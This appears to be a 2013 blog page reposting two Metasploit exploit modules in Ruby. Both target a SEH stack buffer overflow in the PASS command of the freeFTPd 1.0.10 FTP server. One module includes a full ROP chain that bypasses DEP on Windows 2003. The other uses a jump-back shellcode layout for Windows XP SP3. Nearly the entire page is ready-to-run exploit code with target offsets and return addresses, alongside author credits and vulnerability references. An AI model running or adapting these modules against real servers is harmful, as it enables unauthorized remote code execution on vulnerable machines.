# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

 require 'msf/core'

 class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow - DEP Bypass',
'Description'    => %q{
                    This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
                credit goes to Wireghoul.

 },
'Author'         =>
[
                    'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # dep bypass & metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 512,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
                    # Windows .NET Server (Build 3790, Service Pack 2) 32bit
[ 'Windows 2003 Server Standard/Enterprise Edition',   { 'Ret' => 0x00493ede, 'Offset' => 797 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

 def check
connect
disconnect

 if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

 def exploit
connect

# mona.py
        rop  = [0x77bb2563].pack('V')  # POP EAX # RETN [msvcrt.dll] 
        rop << [0x77ba1114].pack('V')  # ptr to &VirtualProtect() [IAT msvcrt.dll]
        rop << [0x77bbf244].pack('V')  # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll] 
        rop << [0x41414141].pack('V')  # Filler (compensate)
        rop << [0x77bb0c86].pack('V')  # XCHG EAX,ESI # RETN [msvcrt.dll] 
        rop << [0x77bac27e].pack('V')  # POP EBP # RETN [msvcrt.dll] 
        rop << [0x77be2265].pack('V')  # & push esp # ret  [msvcrt.dll]
        #---------------------------
        rop << [0x77be1ef3].pack('V')  # POP EDX # RETN [msvcrt.dll] 
        rop << [0xFBDBBB63].pack('V')  # 0x00000040-> edx 
        rop << [0x77bcb691].pack('V')  # POP EBX # RETN [msvcrt.dll]
        rop << [0x042444DD].pack('V')
        rop << [0x77bbd50e].pack('V')  # ADD EDX,EBX # POP EBX # RETN 0x10
                                       # 0x042444DD (EBX) + 0xFBDBBB63 (EDX) = 0x00000040
        rop << [0xFBDBBD23].pack('V')  # EBX** = 0xFBDBBD23
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        rop << [0x77BDFE3E].pack('V')
        #---------------------------
        rop << [0x77BC541C].pack('V')  # XOR EAX,EAX # INC EAX # RETN
        rop << [0x77be2219].pack('V')  # ADD EAX,42444DD # RETN
        rop << [0x77BDFE37].pack('V')  # ADD EBX,EAX # OR EAX, 3000000 # RETN
                                       # 0x042444DD (EAX) + 0xFBDBBD23 (EBX**) = 0x00000201
        #---------------------------
        rop << [0x77bcadff].pack('V')  # POP ECX # RETN [msvcrt.dll] 
        rop << [0x77bf2cfc].pack('V')  # &Writable location [msvcrt.dll]
        rop << [0x77bd88b8].pack('V')  # POP EDI # RETN [msvcrt.dll] 
        rop << [0x77bd8c05].pack('V')  # RETN (ROP NOP) [msvcrt.dll]
        rop << [0x77be3adb].pack('V')  # POP EAX # RETN [msvcrt.dll] 
        rop << [0x90909090].pack('V')  # nop
        rop << [0x77be6591].pack('V')  # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll] 

         rop << make_nops(32)
        rop << payload.encoded

         buf = rand_text_english(1000)
        buf[49+40,rop.length] = rop
        buf[target['Offset']+4,4] = [target.ret].pack("V") # SEH # ADD ESP,46C

 print_status("payload size : #{buf.length}")

 print_status("Sending exploit buffer...")
        send_user(datastore['FTPUSER'])
        send_pass(buf)

 handler
disconnect
end

 end

Posted by at

Friday, September 6, 2013

freeFTPd 1.0.10 PASS Command SEH Overflow - Metasploit Module

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

 require 'msf/core'

 class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
'Description'    => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.

 },
'Author'         =>
[
'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 600,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Windows XP English SP3',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

 def check
connect
disconnect

 if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

 def exploit
connect

         payload_size = payload.encoded.length

         buf = make_nops(1000)
        buf[(target['Offset']-11) - payload_size, payload_size] = payload.encoded
        buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
        buf[target['Offset'],4]   = [0xfffff9eb].pack("V")
        buf[target['Offset']+4,4] = [target.ret].pack("V")

 print_status("Sending exploit buffer...")

         #buffer = Rex::Text.pattern_create(1000)
        send_user(datastore['FTPUSER'])
        send_pass(buf)

 handler
disconnect
end

 end

Posted by at
Subscribe to: Posts (Atom)